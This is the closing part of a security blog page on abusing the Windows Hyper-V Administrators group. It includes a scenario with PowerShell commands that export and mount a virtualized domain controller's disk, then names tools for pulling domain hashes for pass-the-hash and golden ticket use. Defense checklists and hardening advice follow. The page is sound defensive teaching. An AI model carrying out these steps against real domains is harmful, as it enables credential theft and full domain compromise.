# Enable file system auditing on VM paths
auditpol /set /subcategory:"File System" /success:enable /failure:enable

Real-World Attack Scenarios

Scenario 1: Domain Compromise via Virtualized DC

Initial Access

Attacker compromises help desk account with Hyper-V Administrators membership

Discovery

# Enumerate VMs
Get-VM | Select-Object Name, State, Path

# Identify DC01 as virtualized domain controller

Exploitation

# Create checkpoint
Checkpoint-VM -Name "DC01" -SnapshotName "Backup_$(Get-Date -Format 'yyyyMMdd')"

# Export VM
Export-VM -Name "DC01" -Path "C:\Temp\DCExport"

# Mount VHD offline
$vhd = "C:\Temp\DCExport\DC01\Virtual Hard Disks\DC01.vhdx"
Mount-VHD -Path $vhd -ReadOnly

Credential Extraction

# Extract NTDS.dit and SYSTEM hive
# Use secretsdump or DSInternals to extract all domain hashes

# Obtained: Enterprise Admin NTLM hash
# Used for: Pass-the-hash attack across entire forest

Impact

  • Complete domain compromise
  • Access to all domain resources
  • Persistent access via golden tickets
  • Lateral movement to all systems

Lessons Learned:

  • Virtualized DCs should never be accessible to non-Domain Admins
  • Hyper-V Administrators = Domain Admins in this context
  • Implement physical DCs or separate virtualization infrastructure

Conclusion

The Hyper-V Administrators group represents a significant privilege escalation path in Windows environments, particularly when Domain Controllers are virtualized. The combination of full VM control, VHD access, and permission manipulation capabilities creates multiple attack vectors for credential theft, privilege escalation, and domain compromise.

Key Takeaways

  1. Virtualized DCs = High Risk: Hyper-V Administrators can trivially compromise virtualized Domain Controllers
  2. Multiple Exploitation Paths: From NT hard link attacks to VM cloning, numerous techniques exist
  3. Detection Challenges: Many exploitation techniques use legitimate Hyper-V operations
  4. Defense Requires Separation: The only complete mitigation is separating DC infrastructure from general Hyper-V management

Defense Checklist

  • Audit Hyper-V Administrators group membership
  • Eliminate or separate virtualized Domain Controllers
  • Implement Just-In-Time access for VM management
  • Enable comprehensive Hyper-V operational logging
  • Configure file system auditing on VHD storage paths
  • Implement restrictive ACLs on VHD files
  • Enable VM encryption for sensitive workloads
  • Monitor for VM export, checkpoint, and cloning operations
  • Establish baselines for normal Hyper-V operations
  • Implement network segmentation for management traffic
  • Regular review of VM configurations and snapshots
  • Incident response plan for Hyper-V compromise scenarios

References

MITRE ATT&CK Techniques

Common Weakness Enumeration

Microsoft Documentation

Security Resources

By treating Hyper-V Administrators with the same security rigor as Domain Admins and implementing defense-in-depth controls, organizations can significantly reduce the risk of virtualization infrastructure being leveraged for privilege escalation and domain compromise.

Last updated on

On this page

Introduction
Understanding Hyper-V Administrators
What is Hyper-V Administrators?
Why Organizations Use This Group
Attack Vectors and Techniques
Virtual Machine Cloning for Domain Compromise
Step 1: Identify Virtualized Domain Controllers
Step 2: Create VM Checkpoint (Snapshot)
Step 3: Export the Virtual Machine
Step 4: Mount VHD Offline
Step 5: Extract NTDS.dit and SYSTEM Hive
Step 6: Extract Domain Credentials
NT Hard Link Attack for Privilege Escalation
Understanding the Vulnerability
Create Dummy VM with VHD
Delete the VHD File
Create NT Hard Link to Target File
Delete VM (Triggers Permission Restoration)
Verify and Exploit New Permissions
VM Configuration File Manipulation
Locate VM Configuration Files
Extract Sensitive Information
Modify VM Configuration for Backdoor
Credential Theft from VM Memory
Detection and Monitoring
Monitoring Hyper-V Operations
Virtual Machine Lifecycle Events
VHD File Access Monitoring
Checkpoint and Snapshot Monitoring
Hyper-V Administrators Group Membership Changes
Mitigation and Hardening
Eliminate Virtualized Domain Controllers
Principle of Least Privilege
Audit Current Membership
Remove Unnecessary Members
Implement Just-In-Time Access
VHD/VHDX Access Control
VM Encryption
Hyper-V Host Hardening
Disable Unnecessary Hyper-V Features
Configure Enhanced Session Mode Restrictions
Implement Network Segmentation
Audit and Logging
Real-World Attack Scenarios
Scenario 1: Domain Compromise via Virtualized DC
Initial Access
Discovery
Exploitation
Credential Extraction
Impact
Conclusion
Key Takeaways
Defense Checklist
References
MITRE ATT&CK Techniques
Common Weakness Enumeration
Microsoft Documentation
Security Resources
Hyper-V Administrators Group Exploitation | Drake Axelrod